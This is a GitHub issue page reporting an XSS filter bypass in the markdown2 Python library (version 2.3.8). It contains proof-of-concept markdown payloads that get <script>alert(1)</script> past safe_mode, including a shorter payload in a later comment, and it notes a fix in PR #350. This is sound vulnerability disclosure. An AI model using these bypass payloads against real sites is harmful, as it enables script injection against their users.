Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Filter bypass leading to XSS #341

Closed
xymfrx opened this issue Dec 1, 2019 · 4 comments · Fixed by #350
Closed

Filter bypass leading to XSS #341

xymfrx opened this issue Dec 1, 2019 · 4 comments · Fixed by #350

Comments

@xymfrx
Copy link

xymfrx commented Dec 1, 2019

Here is the a PoC for latest version (2.3.8)

>>> import markdown2
>>> markdown2.markdown('<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>', safe_mode=True)
'<p><http://g<!s://q?<!-&lt;<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-&lt;<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>\n'
>>> 

And via safe_mode='escape'

>>> import markdown2
>>> markdown2.markdown('<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>', safe_mode='escape')
'<p><http://g<!s://q?<!-&lt;<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-&lt;<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>\n'
>>> 
@TheGrandPew
Copy link

TheGrandPew commented Apr 12, 2020

did you manage to get this fixed? cause i also have an xss to report and i was wondering if i should bother.

@nicholasserra
Copy link
Collaborator

@TheGrandPew No I don't think so. Feel free to open a separate issue, or piggyback off this one if you think they're related. Thanks!

@avramit
Copy link

avramit commented Apr 14, 2020

A much shorter payload:

<ftp:[<script>alert(1);//]()><ftp:[</script>]()>

@xurble
Copy link

xurble commented May 1, 2020

#350 Fixes this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants